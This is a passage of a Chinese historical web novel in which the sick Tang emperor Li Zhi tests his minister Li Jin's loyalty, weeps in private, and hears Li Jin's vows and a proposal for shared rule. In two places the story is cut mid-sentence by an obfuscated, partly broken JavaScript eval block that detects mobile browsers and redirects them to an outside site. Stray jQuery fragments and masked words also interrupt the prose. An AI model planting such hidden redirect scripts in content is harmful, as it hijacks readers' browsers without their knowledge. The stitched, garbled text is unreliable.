“梁国公……有心了。”李治缓缓开口,语气平淡,听不出喜怒,“朕不过是**病,将养些时日便好。朝中事务繁杂,有皇后与卿等操持,朕很放心。”
这话说得客气,甚至带着赞许,但其中的疏离与试探,李瑾如何听不出?他并未起身,依旧保持着叩首的姿势,清晰答道:“陛下乃天下之本,万民所系。陛下圣体安康,方是朝野之福,臣等之愿。朝中事务,皇后殿下夙夜操劳,臣等不过恪尽职守,依制而行,岂敢言‘操持’?一切政令军务,皆依陛下往日所定章程,或禀明皇后殿下,由殿下裁决。臣等谨守本分,绝不敢有丝毫逾越。”
他将“依制而行”、“禀明皇后殿下”、“谨守本分”几个词,咬得格外清晰。既表明了政务处理的流程(皇后裁决),又强调了自己和同僚只是按章程办事,谨守臣子本分,并无揽权之意。
李治不置可否,只淡淡道:“起来吧。赐座。”
“谢陛下。”李瑾这才起身,却并未就坐,而是垂手侍立一旁,姿态恭谨。“臣不敢坐。陛下卧病,臣心难安,岂能安坐?”
“让你坐,便坐。”李治的语气重了些,带着不容置疑的威严,尽管这威严因气弱而打了折扣。
“臣……遵旨。”李瑾这才在宫人搬来的锦墩上,小心坐了半边,身体依旧挺直,目光低垂,落在自己膝前。
殿内一时寂静,只有李治略显粗重的呼吸声。药香袅袅,气氛压抑。
“你今日来,不止是问安吧?”李治忽然开口,目光如炬,盯向李瑾,“外间……可是又有什么议论,传到你耳朵里了?”
这话问得直接,甚至有些咄咄逼人。李瑾心中微微一凛,知道今日觐见,绝不会轻松。陛下心中积郁已深,猜忌之念恐怕如野草蔓生。他必须慎之又慎。
他再次离席,跪倒在地,神色坦然中带着痛心:“陛下明鉴。臣今日前来,一为问安,二则……确是听闻了一些荒谬无稽的流言,心中愤懑,更恐污了圣听,伤了陛下与皇后殿下的天家情分,亦令忠臣寒心。臣思之再三,觉得唯有面陈陛下,剖白心迹,方能稍安。”
“哦?流言?”李治眼中闪过一丝晦暗的光,“什么流言,竟能让堂堂梁国公‘心中愤懑’?说来听听。”
李瑾抬头,目光清澈,直视李治,一字一句道:“臣听闻,坊间有无知小人,妄议朝政,说什么‘只知天后、李公,不知陛下’;更有甚者,胡言乱语,揣测天家,离间君臣。此等言论,实乃大逆不道,居心叵测!臣闻之,既惊且怒!陛下乃天子,是臣等君父,皇后殿下母仪天下,与陛下一体同心,共理阴阳,此乃陛下恩典,亦是江山之福。臣李瑾,不过一介寒微,蒙陛下不弃,拔于行伍,授以重权,此恩此德,天高地厚,臣纵然肝脑涂地,亦难报万一!唯有鞠躬尽瘁,恪尽职守,以报陛下知遇隆恩。岂敢有丝毫不臣之心,又岂会与那些荒唐流言有半分牵扯?此等言论,非但是对陛下的不敬,对皇后殿下的亵渎,更是对臣等忠贞之士的极大污蔑!臣恳请陛下,下旨严查此类流言,以正视听,以安人心!”
他这番话,说得义正辞严,情绪激愤,眼中甚至隐隐有泪光闪动。既有对流言的痛斥,更有对皇帝和皇后权威的坚决维护,最重要的是,明确表达了自己的绝对忠诚,并将自己与皇后并称为“臣等”,置于共同的“忠贞”立场,巧妙化解了可能的“内外相得、功高震主”的猜忌。
李治静静地看着他,看着这个自己一手提拔起来、如今已位极人臣、声威赫赫的心腹大将。李瑾的表情很真诚,眼神很坦荡,话语里的愤慨和忠诚,听起来也不似作伪。可李治心中的疑虑,如同藤蔓,早已扎根太深,岂是这一番慷慨陈词就能轻易拔除的?
“只知天后、李公,不知陛下……”李治慢慢重复着这句话,嘴角泛起一丝古怪的笑意,“这话,听起来倒是有趣。朕久病深宫,不问外事。皇后代朕理政,辛苦操劳,百姓感念其德,也是常情。你执掌枢密,整军经武,安定边疆,朝野称颂,亦是理所当然。何来‘流言’之说?朕看,百姓倒是明白得很。”
这话似褒实贬,更似一根冰冷的针,刺向李瑾。李瑾心头剧震,陛下果然对此耿耿于怀,且疑心已深!他再次以头触地,声音因激动而微微发颤:“陛下!此言诛心!臣万死不敢当!皇后殿下临朝,乃是代陛下行事,一切恩德,皆出自陛下!百姓感念,亦是感念陛下皇恩浩荡!至于臣,微末之功,全赖陛下信重、将士用命,岂敢贪天之功?陛下乃天,臣等不过萤火之光,岂敢与皓月争辉?此等荒谬之言,分明是有人蓄意构陷,欲离间陛下与皇后殿下之深情,破坏陛下与臣等之君臣大义,动摇我大唐国本!陛下圣明烛照,岂会被此等鬼蜮伎俩所蒙蔽?臣愿以身家性命担保,皇后殿下对陛下,忠贞不二,臣李瑾对陛下,更是丹心如铁,可昭日月!若有一字虚言,若存半分异心,叫臣天诛地灭,死无葬身之地!”
誓言铿锵,掷地有声。李瑾甚至举手向天,做出立誓之态。他深知,此刻任何委婉的解释都是徒劳,唯有以最决绝的姿态,表明心迹,或许才能稍稍打消皇帝那已深入骨髓的猜疑。
李治看着他,看着他因激动而微微发红的眼眶,看着他额角因用力叩首而留下的淡淡红痕。那誓言如此沉重,如此决绝。是真的吗?李瑾真的如此忠心?还是……这只是更高明的伪装?他李治一生,见过太多口是心非,见过太多忠奸难辨。尤其是在这权力的巅峰,又有几人能真正做到初心不改?
但他此刻,太需要这样的誓言了。哪怕只是谎言,哪怕只是暂时的安慰。上官仪的推诿退缩,让他看到了绝路。而李瑾此刻的激烈表态,不管真心几分,至少给了他一丝喘息之机,一丝……或许可以重新布局的幻想。
“罢了……”李治长长叹了口气,那叹息里充满了无尽的疲惫和一种近乎认命的苍凉,“起来吧。你的忠心,朕知道。这些年,你为大唐,为朕,做的够多了。是朕……是朕这身子不争气,连累你们了。”
这话锋一转,从猜忌试探,忽然变成了自伤自怜。李瑾心中警铃微作,知道陛下这是以退为进,亦是真心流露的悲凉。他不敢大意,并未起身,反而膝行两步,更靠近御榻,声音恳切道:“陛下切勿作此想!陛下乃真龙天子,偶染微恙,乃上天考验。只要静心调养,假以时日,必能康复如初!陛下在,则社稷在,臣等方有主心骨!陛下若一味自伤,岂不令亲者痛,而令那些包藏祸心之徒快意?臣恳请陛下,务必保重龙体,宽心静养。朝中之事,有皇后殿下与诸位同僚,陛下不必过虑。若……若陛下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039162|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仍有疑虑,臣愿立刻上表,辞去一切职务,归隐田园,只求陛下心安!”
以退为进!李瑾也使出了**锏——自请辞官。这既是表忠心的极致,也是将了皇帝一军。如今朝局,尤其是军务,离不开李瑾。若他真辞了,谁能立刻接手?那些潜藏的不安定因素,是否会趁机而起?皇后殿下是否会同意?这其中的风险,李治不得不权衡。
果然,李治眼神闪烁了一下。他盯着李瑾,似乎想从他脸上看出这话有几分真心。良久,他才缓缓道:“辞官?胡闹。枢密院初立,诸事繁杂,边镇尚需整饬,朕与皇后,都离不得你。你正当盛年,正是为朝廷效力之时,岂可轻言退隐?此话,休要再提。”
拒绝了,但语气已然缓和了许多。李瑾心中稍定,知道自己的表态起到了一定作用。他再次叩首:“陛下信重,臣感激涕零。臣必当竭尽驽钝,以报陛下天恩。只是……臣更愿见陛下康健,重振天威。此乃臣,亦是天下臣民,最大的心愿。”
李治默然片刻,忽然问道:“太子……近日如何?学业可有进益?你掌枢密,可曾听闻东宫属官,有何建言?”
话题忽然转到太子身上。李瑾心中了然,陛下最深的忧虑,恐怕还是身后事,是太子能否顺利继位,能否坐稳江山。他谨慎答道:“太子殿下仁孝聪慧,勤学不辍。臣虽不直接过问东宫事务,然亦听闻太子殿下对经史政务,皆用心钻研,常与师傅们论辩至夜深。至于东宫属官……”他略微停顿,似在斟酌词句,“多为清正勤勉之士,对太子殿下忠心辅佐。只是……少年人难免气盛,偶有言辞急切,或对朝政有些……不同见解,亦是常情。皇后殿下对太子殿下要求严格,亦是望子成龙,期其早日堪当大任。陛下与皇后殿下同心,太子殿下纯孝,假以时日,必为一代明君。”
他回答得四平八稳,既肯定了太子的优点,也含蓄地指出了东宫属官中可能存在的一些“不同见解”(实则是对武后政策的不满),更将武后对太子的严苛归结为“望子成龙”,将帝后与太子的关系定性为“同心”、“纯孝”,可谓是面面俱到,滴水不漏。
李治听着,眼神幽深。李瑾这番话,挑不出错处,但也并未给他任何实质性的保证或承诺。他知道,从李瑾这里是问不出更多了。李瑾的立场很明确:忠于皇帝,也认可皇后理政,维护太子地位,但绝不卷入可能的帝后、母子纷争,更不会明确表态支持任何一方去“制衡”另一方。这是一种典型的能臣自保之道,也是目前对李瑾个人和朝廷大局来说,最“正确”的立场。
明白了这一点,李治心中那丝微弱的、希望李瑾能成为制衡武后力量的期待,也彻底熄灭了。李瑾是忠臣,但他是忠于“李唐朝廷”的忠臣,是忠于“当前权力结构稳定”的忠臣,而非他李治个人,更不会为了他李治那点不甘和猜忌,去冒险打破现有的、看似还算稳固的平衡。
失望吗?有一点。但更多的,是一种深沉的无力。连李瑾都如此,他还能指望谁?
“太子……是个好孩子。”李治最终只说了这么一句,声音疲惫,“只是,性子软了些。将来……还需你们这些老臣,多加辅佐。”
“臣等必尽心竭力,辅佐太子殿下,匡扶社稷!”李瑾立刻应道,这是为人臣子的本分,他答得毫不犹豫。
又沉默了片刻,李治似乎耗尽了力气,闭上眼睛,挥了挥手:“朕倦了。你……退下吧。好生办事,勿负朕望。”
“臣,谨遵圣谕。望陛下善加珍摄,早日康复。臣告退。”李瑾再次深深叩首,然后起身,躬身,一步步**着离开了寝殿,步履沉稳,一如来时。
直到李瑾的身影消失在屏风后,脚步声远去,李治才缓缓睁开眼,望着帐顶,眼中一片空茫。
李瑾来过了,一番慷慨陈词,一番誓言忠心。他得到了他想要的表态吗?或许有。但这表态,能驱散他心中的阴霾吗?能改变“只知天后、李公,不知陛下”的现实吗?能保证他死后,这江山依然姓李吗?
**。他只知道,李瑾的忠诚,或许是真的。但这忠诚,是有前提的,是有界限的。这界限,就是当前的朝局稳定,就是武后的权威,就是太子顺利继位的“大义”。在这个框架内,李瑾是绝佳的忠臣能臣。可一旦他想打破这个框架……
李治苦笑。他连打破框架的力气都没有了。方才与李瑾一番对话,看似平静,实则耗尽了他所剩无几的心力。头痛再次隐隐发作,眩晕感袭来。
他重新闭上眼,将自己沉入无边的黑暗与寂静。李瑾的到来,像是一剂强心针,短暂地刺激了他,但药效过后,是更深的疲惫和虚无。路,似乎依旧看不到方向。而他能做的,似乎只有在这病榻上,等待着那或早或迟的命运裁决。
殿外,铅云低垂,终于有零星的雪花,悄然飘落。长安城的冬天,还很长。
第196章 帝泣诉衷肠
李瑾的脚步声消失在殿外廊庑的尽头,那沉稳的节奏,像最后的鼓点,敲在李治空寂的心上,余音散去,只留下更庞大的死寂。方才那一番看似恳切、实则滴水不漏的陈情,像一盆温水,暂时浇熄了李治心头的焦灼火焰,却留下了更粘稠、更阴冷的湿灰,糊在胸口,闷得他几乎喘不过气。
忠心,他听到了忠心。誓言,他听到了誓言。可他要的,仅仅是这些吗?他要的,是一个能理解他这份**、这份恐惧、这份身为帝王却被高高架起、眼睁睁看着权柄旁落、声名湮灭的绝望的人!他要的,是一个能给他实实在在的承诺、告诉他弘儿的江山不会易主、告诉他李治之名不会沦为史书上一个模糊背景的人!
可李瑾给的,只是臣子的本分。无可指摘,却冰冷疏离。
殿内,药香、熏香、还有那若有似无的、来自御榻上帝王身上的衰败气息,混合成一种令人窒闷的味道。王德真悄步上前,想为陛下掖一掖被角,却被李治猛地挥开。老内侍踉跄退后,惶恐地低下头。
“出去。”李治的声音沙哑,像砂纸磨过枯木,“都出去。没有朕的吩咐,谁也不许进来。”
“陛下……”王德真担忧地看着他灰败的脸色。
“滚!”一声低吼,耗尽了李治所剩无几的气力,他剧烈地咳嗽起来,撕心裂肺。
王德真不敢再言,连忙挥手屏退殿内所有宫人,自己也躬着身,**到最外间的门口,忧心忡忡地守着,竖起耳朵听着里面的动静,生怕陛下有个万一。
寝殿内彻底安静下来,只剩下李治压抑的咳嗽声,和他自己粗重艰难的呼吸。他咳得眼前发黑,喉咙腥甜,好半天才缓过来,无力地瘫在锦褥中,像一条离了水的鱼,徒劳地张着嘴。
他侧过头,目光无意识地落在枕边。那里,似乎还残留着前几日触摸那页废后草诏时,指尖冰凉的触感。那页纸,还在暗格里,像一个无声的嘲讽,嘲笑着他曾经的犹豫,和现在的无能为力。
李瑾走了,带着他的忠心和谨慎走了。上官仪退缩了,带着他的恐惧和圆滑退缩了。这满朝文武,这宫阙重重,竟找不到一个可以托付心事、可以倚为真正肱骨、为他李治的尊严和身后事搏一把的人吗?
孤独。前所未有的孤独,如同这殿中无尽的黑暗,从四面八方包裹上来,渗透进他的骨髓。他想起父皇太宗皇帝,即便晚年为储君之事烦恼,即便有长孙无忌等权臣在侧,可朝野上下,谁人不识天可汗?谁人不畏太宗威?而他李治呢?他得到了皇位,却似乎永远活在父皇巨大的阴影下。好不容易熬过了权臣,熬过了内忧外患,身体却垮了。然后,是媚娘,是他曾经深爱、依赖的妻子,以一种他无法抗拒、甚至最初是欣然接受的方式,接过了权柄,然后,就再也没能完全收回。还有李瑾,他一手提拔的能臣,如今却与媚娘一起,成了这“盛世”的支柱,百姓口中的“李公”……
那他是什么?他李治是什么?是这长生殿里一尊日渐腐朽的泥塑?是史书上寥寥几笔带过的、夹在太宗武后之间的过渡皇帝?
不!他不甘心!他是天子!是大唐的皇帝!是这**江山名义上唯一的主人!
可这愤怒的呐喊,只在他胸腔里回荡,却发不出一丝声音。因为连他自己都知道,这呐喊是多么虚弱无力。他的身体背叛了他,他的权力被稀释,他的声音被掩盖。他甚至不敢对最信任的臣子,说出心底最深的恐惧。
“嗬……嗬……”他喉咙里发出破败的声响,眼泪毫无预兆地涌了出来,滚烫的,顺着深陷的眼窝,滑入花白的鬓角。起初只是无声的流泪,然后,抽泣声抑制不住地从喉咙深处溢出,变成压抑的、如同受伤幼兽般的呜咽。他死死咬住下唇,不想让自己发出如此软弱的声音,可越是压抑,那悲恸就越是汹涌,最终冲垮了帝王所有的矜持与防线。
“朕……朕算什么皇帝……”他呜咽着,对着空无一人的寝殿,对着华丽冰冷的藻井,对着空气中无形的、压得他喘不过气的目光,发出绝望的质问,“躺在……躺在这锦绣堆里,等着人来喂药,等着人来告诉我……今天又批了什么奏章,罢了谁的官,用了谁的人……呵……呵呵……他们都说,都说皇后贤能,李公忠勇,天下太平……好一个天下太平!可这太平……是谁的太平?是朕的?还是她武媚娘的?还是……你们这些能臣干吏的太平?!”
他越说越激动,胸膛剧烈起伏,眼前阵阵发黑,但一股邪火支撑着他,让他将积郁在心中许久、连对王德真都不敢完全吐露的怨毒、不甘和恐惧,尽数倾泻出来。
“你们……你们一个个,都忠臣!都贤能!都为了大唐,为了江山社稷!可你们眼里……可曾真正有过朕这个皇帝?!百姓只知天后、李公……哈哈,好,好得很!那朕呢?朕算什么?朕这个皇帝,是不是就该躺在这里,等着哪天咽了气,史官大笔一挥,‘高宗体弱,政多出于天后’,就这么……就这么盖棺定论了?!”
他猛地攥紧了身下的锦褥,手背上青筋毕露,指节惨白。“媚娘……我的皇后,我的天后……她好能干啊!比朕能干!比朕的父皇……或许也不遑多让!可她是皇后!她是朕的妻子!这天下……是李家的天下!不是她武家的!朕还没死!朕还没死啊!!”
嘶吼耗尽了他最后的气力,他瘫软下去,只剩下剧烈的喘息和无法止住的泪水。那泪水浑浊,充满了一个帝王、一个男人最深重的失败感和**感。他恨,恨这该死的风疾,恨这不争气的身体,恨命运的捉弄。他更怕,怕自己死后,史笔如刀,将他写成昏聩无能的庸主;怕媚娘最终鸠占鹊巢,将他李唐江山改了颜色;怕弘儿仁弱,守不住这祖宗基业……
“弘儿……我的弘儿……”他喃喃着,声音变得哀切而脆弱,“他那么仁孝,那么听话……可他能斗得过他母亲吗?他……他连他母亲的眼神都怕……朕若走了,谁来护着他?你们……你们这些忠臣,到时候,是听太子的,还是……还是听天后的?嗯?告诉朕!你们会听谁的?!”
无人回答。只有他自己的回声,在空旷的殿宇中,显得无比凄惶。
就在这绝望的顶点,一个细微的、几乎难以察觉的声响,从屏风侧面、一扇通向后面小茶房的侧门处传来。那门本是方便宫人递送茶水点心所用,平日虚掩。
李治的哭泣和低吼戛然而止。他猛地转头,浑浊的泪眼瞬间变得锐利如鹰隼,尽管视线模糊,但他死死盯向那声音传来的方向,厉声喝道:“谁?!谁在那里?!给朕滚出来!”
短暂的死寂。
然后,那扇侧门被轻轻推开一道缝隙。一个身影,缓缓走了进来,在距离御榻数步之外,撩袍,跪倒,以头触地。
深青色的常服,挺拔的身姿。是去而复返的李瑾。
李治的瞳孔骤然收缩,全身的血液仿佛瞬间冲上头顶,又顷刻间冻结。耻辱、愤怒、惊恐、暴露隐私的极度难堪……种种情绪交织**,让他本就虚弱的身体控制不住地颤抖起来,手指着李瑾,嘴唇哆嗦着,却一时发不出任何声音。
“臣……万死。”李瑾伏在地上,声音沉闷,却清晰无比,“臣方才告退,出殿后忽觉心绪难宁,想起尚有几句关乎边镇防务的细节,未曾向陛下奏明,恐有遗漏,故而斗胆折返,欲于外间等候,待陛下稍歇再禀。不料……行至侧门,听闻陛下……陛下龙吟悲声……”
他顿了顿,似乎在下极大的决心,然后抬起头,目光直视李治那双充满血丝、混杂着震怒与脆弱眼睛,一字一句,沉重如山:
“臣,全都听到了。”
“轰”的一声,李治只觉得脑中有什么东西炸开了。听到了?全都听到了?听到他如何像个怨妇般哭诉,听到他如何歇斯底里地质问,听到他身为帝王最不堪、最脆弱、最阴暗的恐惧和嫉妒?这比任何刀剑加身,更让他感到赤裸和**!
“你……你好大的胆子!”李治终于找回了自己的声音,嘶哑,却带着濒死野兽般的狰狞,“李瑾!你竟敢……竟敢窥探朕?!你……你该当何罪?!”他想抓起什么东西砸过去,可手边除了柔软的锦被,空无一物。
李瑾没有躲闪,也没有求饶,他保持着跪姿,腰背挺直,目光清澈而沉痛,那沉痛如此真切,竟稍稍压下了李治的狂暴。
“臣有罪,臣万死莫辞。”李瑾的声音带着一种奇异的平静,甚至有一种如释重负的坦然,“陛下可立刻唤侍卫入内,将臣拖出去,以窥探禁中、惊扰圣驾之罪,即刻处死。臣绝无怨言。”
他抬起头,眼中竟也泛起一丝水光,那不是恐惧,而是一种深切的、几乎要满溢出来的悲悯与痛楚。“只是,在臣死之前,有几句话,如鲠在喉,不吐不快。陛下……您心里的苦,您身上的痛,您的恐惧,您的无奈……臣,并非全然不知。”
李治的怒斥卡在喉咙里,他死死瞪着李瑾,胸膛剧烈起伏。
“臣知道,陛下不甘。陛下乃天子,富有四海,本该乾坤独断,泽被苍生。可天不假年,让陛下受此沉疴折磨,困于病榻。眼见权柄……权柄不得不假手他人,眼见声名……声名似有旁落之虞,陛下心中之苦闷、之愤懑、之忧虑,臣……虽不能感同身受,却能想象万一。”
李瑾的声音低沉而恳切,每一个字都像是敲在李治的心坎上。“臣更知,陛下所虑,非为一己之私权,实为江山社稷,为太子殿下,为这李唐天下,能代代相传,永固金瓯。此乃为人君者,为人父者,最深切的爱与忧。陛下泣血之言,字字句句,皆是为此。臣听了,非但不觉得陛下……失态,反而……痛彻心扉!”
“陛下,”李瑾重重叩首,额头触碰冰凉的金砖,发出沉闷的响声,“您问臣等眼里是否有陛下。臣今日,便斗胆回答:有!一直都有!在臣眼中,在皇后殿下眼中,在无数忠臣良将眼中,陛下永远是陛下,是大唐的天子,是臣等的君父!皇后殿下临朝,是遵陛下之命,是代陛下行权,一切荣耀归于陛下,一切过失,皇后殿下亦常言,是她未能体会圣意,是她之过。至于臣,若非陛下当年慧眼识珠,破格拔擢,臣一介寒微,恐怕早已埋骨边塞,何来今日?陛下知遇之恩,天高地厚,臣片刻不敢或忘!”
“至于外界无稽流言,‘只知天后、李公’……”李瑾苦笑一下,笑容里满是无奈与坚定,“陛下,百姓无知,见皇后殿下常处前朝,见臣等奔走办事,便有此讹传。然则,政令出自紫宸,批红盖有陛下御玺,赏罚升降,皆依国法祖制。皇后殿下与臣等,不过是陛下手中的笔,是陛下意志的执行者。笔再得力,若无执笔之人,何来锦绣文章?执行者再勤勉,若无陛下授权,何来政令通行?此道理,天下有识之士,岂能不知?陛下又何必因愚夫愚妇之言,而自伤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039163|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
龙体,自疑忠良?”
他略微抬头,目光灼灼地看着李治:“陛下所忧身后之事,臣更不敢苟同。太子殿下仁孝聪慧,乃陛下与皇后殿下悉心教养之储君,名分早定,天下归心。皇后殿下对太子殿下要求严格,正是望子成龙,期其能承大统、继伟业。臣等身为臣子,辅佐太子,乃是本分,亦是陛下托付之重。将来,无论是皇后殿下以太后之尊继续辅政,还是太子殿下亲政,只要有益于大唐江山,有益于黎民百姓,臣等必竭诚效力,绝无二心!此心,天地可鉴,鬼神共知!”
“陛下,”李瑾的声音再次哽咽,他再次深深叩首,久久不起,“您不是孤家寡人。您有皇后殿下这样的贤内助,为您分担国事,稳定朝局;有太子殿下这样仁孝的继承人,可承宗庙;亦有臣等这般,或许愚钝,却愿为陛下、为大唐肝脑涂地的臣子。陛下之疾,乃天妒英才。然则,陛下之志,陛下之忧,陛下对这片江山社稷的深情,臣等感同身受!臣恳请陛下,保重龙体,宽心静养。陛下在,则人心定,社稷安。万望陛下……勿要再如此自苦了!”
一番话,如惊涛拍岸,又如春风化雨。有理解,有共情,有辩解,有安抚,更有不容置疑的忠诚表态。李瑾没有回避问题,他承认了李治的痛苦和恐惧,但给出了自己的解读和承诺——权力依然属于陛下,皇后是代行,臣子是执行,太子是正统,未来可期。一切都在轨道上,陛下不必过度忧虑。
李治怔怔地听着,最初的暴怒和耻辱,渐渐被一种更复杂的情绪取代。是感动吗?李瑾的话,句句似乎都说到了他心坎里,理解他的痛苦,承认他的权威,承诺未来的忠诚。是释然吗?似乎李瑾描绘的那个未来——他仍是核心,权力只是暂时委托,一切终将回归正轨——并非遥不可及。是怀疑吗?李瑾的话太完美,太熨帖,几乎是为他此刻所有心结量身定做的答案。这究竟是肺腑之言,还是更高明的……安抚?
他看着伏在地上,肩背微微颤抖、额头紧贴地面的李瑾。这个他一手提拔起来的臣子,此刻卸去了枢密使的威严,卸去了能臣干吏的沉稳,像一个最普通的、为君父忧心如焚的臣子,在恳求,在表白,甚至在……哭泣?
李治眼中的暴戾和疯狂,慢慢褪去,只剩下深深的疲惫和茫然。他信吗?**。但他累了,太累了。连日来的猜忌、恐惧、孤独,像毒蛇一样啃噬着他,李瑾的这番话,无论真心几分,至少像一剂麻药,暂时缓解了那噬心的痛楚。
他需要这剂麻药。他需要有人告诉他,一切还没那么糟,他还没有被完全遗忘和取代,他的儿子还有未来,他的江山还姓李。
良久,寝殿内只剩下两人粗重不一的呼吸声。李治终于缓缓开口,声音嘶哑干涩,却平静了许多:“你……真的这么想?”
“字字肺腑,绝无虚言。”李瑾抬起头,脸上犹有泪痕,目光坦荡而坚定。
“即使……即使将来,皇后她……”李治没有说完,但意思已然明了。
李瑾毫不犹豫,斩钉截铁:“陛下,皇后殿下是太子生母,与陛下乃结发夫妻,一体同心。无论将来如何,臣李瑾在此立誓:此生此世,唯效忠李唐,唯效忠陛下指定的储君!若有违此誓,人神共弃,天地不容!”
又是誓言。但这一次,李治听着,心中那根紧绷的弦,似乎微微松动了一些。也许,这就是他目前唯一能抓住的东西了。李瑾的忠诚,和他对“李唐正统”的维护。
“起来吧。”李治闭了闭眼,再睁开时,只剩下无尽的倦意,“你……有心了。今日之言,朕……记下了。”
“谢陛下。”李瑾重重磕了个头,才站起身。他的膝盖有些发麻,但身形依旧挺拔。他知道,最危险的一关,或许暂时过去了。陛下需要宣泄,也需要安慰。而他,给出了陛下此刻最需要的东西——理解和承诺。
“你方才说,边镇防务,还有细节未禀?”李治忽然问,声音恢复了少许帝王的平淡。
李瑾微微一愣,随即明白这是陛下在给双方台阶下,也是重新将话题拉回君臣正轨。他立刻收敛情绪,躬身道:“是。关于安西四镇轮戍及粮草转运新策,尚有数处细节,需请陛下圣裁。臣已拟了条陈,本欲明日递进……”
“不必明日了。”李治打断他,指了指榻边小几上的纸笔,“你现在就说,朕听着。王德真——”
守在门口的王德真一直竖着耳朵,此刻闻声,几乎是连滚爬进来:“奴婢在!”
“研墨。梁国公口述,你代朕笔录。”李治的声音依旧虚弱,却带上了一丝久违的、处理政务时的专注,尽管这专注背后,是深不见底的疲惫和空洞。
“是。”王德真连忙应下,小跑着去准备。
李瑾心中暗叹,陛下这是在用处理政事的方式,来掩盖方才的情感溃堤,也是在重新确立他“皇帝”的身份和权威。他恭敬地应了一声“是”,然后开始条理清晰、语气平稳地奏报起边镇那些琐碎却重要的防务细节。
烛火摇曳,映着一坐一跪,一卧一立的两人身影。一个认真陈奏,一个凝神细听,偶尔插话询问。仿佛刚才那场痛彻心扉的哭诉,那番剖肝沥胆的表白,都从未发生过。
只是,空气中那浓得化不开的悲凉与苦涩,那隐藏在平静表面下的惊涛骇浪,却久久不散,萦绕在这帝国权力核心的寝殿之中,无人可以驱散。
第197章 瑾献共享策
边镇防务的细节,枯燥而琐碎。粮草转运的路径,戍卒轮换的周期,边市互管的细则,将作监新制兵械的配发序列……李瑾的声音平稳清晰,在静谧的寝殿中回荡,带着一种奇异的抚慰力量。王德真跪在榻边小几前,屏息凝神,运笔如飞,努力跟上李瑾的语速,将那些拗口的地名、数字、条款一一记录下来。墨迹在宣纸上蜿蜒,渐渐填满一页又一页。
李治斜靠在厚厚的锦褥上,闭着眼,仿佛在倾听,又仿佛只是假寐。只有那微微颤动的睫毛,和偶尔简短的一两个问询,证明他神志尚在,并未沉沉睡去。那些具体的政务,此刻对他而言,更像是一种背景音,一种让他能够暂时从方才那场情绪风暴中抽离、重新扮演“皇帝”这个角色的道具。他需要这个角色,哪怕只是片刻,来维持自己摇摇欲坠的尊严。
李瑾的奏报终于告一段落。他略作停顿,等待皇帝的指示。殿内重新陷入寂静,只有烛火偶尔爆开的细微噼啪声,和王德真轻轻放下笔的声音。
“就……依卿所议,试行。”李治终于开口,声音依旧虚弱,但已恢复了惯常的平淡,“具体条陈,递送政事堂,与……与皇后共议。若无大碍,便用印颁行。”
“臣遵旨。”李瑾躬身应下。他知道,陛下这句话,既是程序性的认可,也是一种无奈的确认——最终决定权,依旧在天后那里。但此刻,他不能表现出任何异样。
政务奏对似乎结束了。但殿内的空气并未轻松,反而更加凝滞。方才那场痛彻心扉的哭诉与表白,如同无形的幽灵,仍徘徊在两人之间。李瑾知道,仅仅安抚情绪,给出忠诚承诺,还不够。陛下心中那根关于权力、关于身后事、关于“存在感”的刺,并未真正拔除,只是被暂时按了下去。他需要一个更具建设性、更能给陛下希望和“名分”的说法,来引导陛下走出绝望的死胡同,接受现实,并找到新的定位。
这很危险。揣摩上意,尤其是揣摩一位极度敏感、多疑又脆弱的帝王的心思,并试图引导之,无异于在万丈深渊上走钢丝。一言不慎,前功尽弃,甚至可能招来杀身之祸。但李瑾更清楚,若不能趁此刻陛下心防有所松动、情绪宣泄之后相对“清醒”的时机,为他提供一个至少能自我说服的“解释”和“出路”,那么陛下的猜忌和绝望只会更深,下一次爆发可能更加不可收拾,届时受损的,将是整个朝局的稳定,甚至太子的未来。
他必须冒险一搏。不是为了个人荣辱,而是为了这好不容易才达成的稳定局面,为了那个他亲眼看着长大的仁厚太子,也为了……那位与他有着复杂默契、共同支撑起这帝国局面的天后。
“陛下,”李瑾再次开口,声音比方才奏对时,多了几分深沉,也多了几分不易察觉的试探,“边镇琐务已毕。臣……尚有一言,如鲠在喉,关乎陛下圣誉、关乎国朝气象、更关乎千秋史评,不知……当讲不当讲。”
李治的眼皮微微动了动,没有睁开,只从鼻腔里发出一声几不可闻的“嗯”,算是默许。此刻的他,像是耗尽了所有力气的伤兽,既警惕,又隐约期盼着某种“解药”。
李瑾深吸一口气,似乎在凝聚勇气,然后缓缓道:“臣方才聆听陛下心声,痛彻之余,亦反复思量。陛下之忧,看似在权柄,在声名,在身后。然则臣以为,陛下真正心结,或在于……如何面对当前之局,如何在此局中,安放陛下之尊,定位陛下之功,以不负此生,不负这煌煌大唐。”
这话说得委婉,却直指核心。李治的眼皮颤动了一下,终于缓缓睁开,那双深陷的眼眸,疲倦而锐利,望向李瑾:“哦?你有何高见?”
“臣不敢言高见,只是些许愚者之思,斗胆呈于陛下御前。”李瑾的姿态放得极低,但语气却坚定起来,“陛下,自三皇五帝以降,为君之道,有圣君独断,如秦皇汉武;有君臣共治,如太宗文皇帝与房杜;亦有垂拱而治,如上古尧舜。然则,时移世易,未有亘古不变之成法。当今天下,陛下乃不世出之明君,天后殿下亦为亘古罕见之贤后,此乃天赐我大唐之福。陛下因沉疴暂不能亲理万机,而天后殿下代行其事,内抚百姓,外御强敌,使天下晏然,此非但无损于陛下圣明,实乃彰显陛下知人善任、夫妻一体、同心同德之旷世佳话!”
